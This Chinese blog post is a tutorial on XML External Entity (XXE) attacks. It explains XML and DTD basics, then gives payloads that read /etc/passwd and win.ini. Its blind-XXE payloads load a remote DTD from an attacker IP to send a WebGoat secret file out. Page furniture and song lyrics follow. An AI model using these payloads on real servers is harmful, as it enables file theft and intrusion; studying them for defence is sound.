XXE攻击介绍

这篇文章将简单的向大家介绍XXE攻击,这是Web渗透中常见攻击中的一种,文章会以理论与实践相结合的形式,更加通俗易懂的文字来使大家掌握XXE攻击

0x01 XXE

XXE:XML External Entity attack(XML外部实体攻击)。其实XXE就是攻击者自定义了XML文件进行了执行,已知的最终效果就是读取系统文件或DOS攻击。理解XXE的过程其实就是学习XML。通俗的来讲就是,攻击者将XML文件中一定部分进行修改或者自己创建XML文件来完成自己想要的操作。

0x02 XML&DTD

XML(Extensible Markup Language),全称为可扩展标记语言,是一种传输的数据格式
DTD(Document Type Definition),全称为文档类型定义,是XML文档中的一部分,用来定义元素。
注意:XML与HTML有许多相似的地方,同样有标签(元素)与属性,XML与HTML的区别在于XML 被设计用来传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息,而 XML 旨在传输信息。

<square width="100" /> &a; </square>

DTD的话我理解为是对XML标签元素的解释,XML中遇到的标签都需要在DTD中进行标注,同样的DTD对于放置位置与CSS相同,有DTD内部文档声明,也有外部文档声明

DTD内部文档声明

当DTD存在于XML源文件中,由以下格式进行包裹

然后XML文件对于DTD的内容进行引用

<?xml version="1.0"?>
<!DOCTYPE note [ 
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

可以看到在DTD设置了一些变量,然后在xml文档中再使用到这些变量。这就是DTD与XML之间的使用方法。

DTD外部文档声明

从xml文件外部引入DTD:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

note.dtd:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

这里就不继续开展XML&DTD的相关知识,更多的可以去菜鸟教程中学习更详细的知识,接下来进入正题

0x03 XXE分类

  • 经典XXE:外部实体可以引入
  • XXE盲注:没有回显或错误信息
  • 报错XXE:通过报错信息获取
  • DOS攻击:用于不断循环实体变量,导致内存爆炸。

0x04 常见的payload

经典XXE

使用外部实体进行文件读取。
条件:
1.可以引用外部实体
2.服务器要回显结果

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<foo>&xxe;</foo>

Windows:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>

还可以使用外部参数实体+外部实体进行文件读取。
攻击者发受害者

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://xxxx/evil.dtd">
%xxe;]>
<foo>&evil;</foo>

攻击者远程文件evil.dtd

<!ENTITY evil SYSTEM “file:///c:/windows/win.ini" >

XXE盲注

使用远程dtd读取,外部参数实体,外部实体进行文件读取。
条件:

  • 可以使用外部实体
  • 可以使用远程dtd读取
  • 可以使用外部参数实体
  • 受害者与攻击者远程机网络可达
  • 需要有远程攻击机放置xml文件以及接受结果
    攻击者主机xml文件:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0.0.M25/XXE/secret.txt">
<!ENTITY % print "<!ENTITY send SYSTEM 'http://47.102.137.160:1234/xxe.xml?c=%file;'>">
%print;

攻击者发送payload:

<?xml version='1.0'?>
<!DOCTYPE RemoteDTD SYSTEM "http://47.102.137.160:1234/xxe.dtd" >
<!-- 引入&send;即可 -->
<root>&send;</root>

发送payload2(绕一圈引入):

<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ENTITY % dtd SYSTEM "http://47.102.137.160:1234/xxe.dtd">
%dtd;]>
<comment>
	<text>&send;</text>
</comment>
posted @   周知行  阅读(284)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 上周热点回顾(2.24-3.2)
  1. 1 原来你也在这里 周笔畅
  2. 2 世间美好与你环环相扣 柏松
  3. 3 起风了 吴青峰
  4. 4 极恶都市 夏日入侵企划
世间美好与你环环相扣 - 柏松
00:00 / 00:00
An audio error has occurred, player will skip forward in 2 seconds.

作词 : 尹初七

作曲 : 柏松

编曲 : 彭圣杰

偏偏秉烛夜游

偏偏秉烛夜游

午夜星辰 似奔走之友

爱你每个结痂伤口

酿成的陈年烈酒

入喉尚算可口

入喉尚算可口

怎么泪水 还偶尔失守

邀你细看心中缺口

裂缝中留存 温柔

此时已莺飞草长 爱的人正在路上

此时已莺飞草长 爱的人正在路上

我知他风雨兼程 途经日暮不赏

穿越人海 只为与你相拥

此刻已皓月当空 爱的人手捧星光

我知他乘风破浪 去了黑暗一趟

感同身受 给你救赎热望

知道你不能 还要你感受

知道你不能 还要你感受

让星光加了一点彩虹

让樱花偷偷 吻你额头

让世间美好 与你环环相扣

此时已莺飞草长 爱的人正在路上

此时已莺飞草长 爱的人正在路上

我知他风雨兼程 途经日暮不赏

穿越人海 只为与你相拥

此刻已皓月当空 爱的人手捧星光

我知他乘风破浪 去了黑暗一趟

感同身受 给你救赎热望

此时已莺飞草长 爱的人正在路上

此时已莺飞草长 爱的人正在路上

我知他风雨兼程 途经日暮不赏

穿越人海 只为与你相拥

此刻已皓月当空 爱的人手捧星光

我知他乘风破浪 去了黑暗一趟

感同身受 给你救赎热望

知道你不能 还要你感受

知道你不能 还要你感受

让星光加了一点彩虹

当樱花开的纷纷扬扬

当世间美好 与你环环相扣

特别鸣谢:槿葵,我们的海报制作妹妹。

原唱:柏松

吉他:柏松

和声:柏松

录音:柏松

混音:张强

点击右上角即可分享
微信分享提示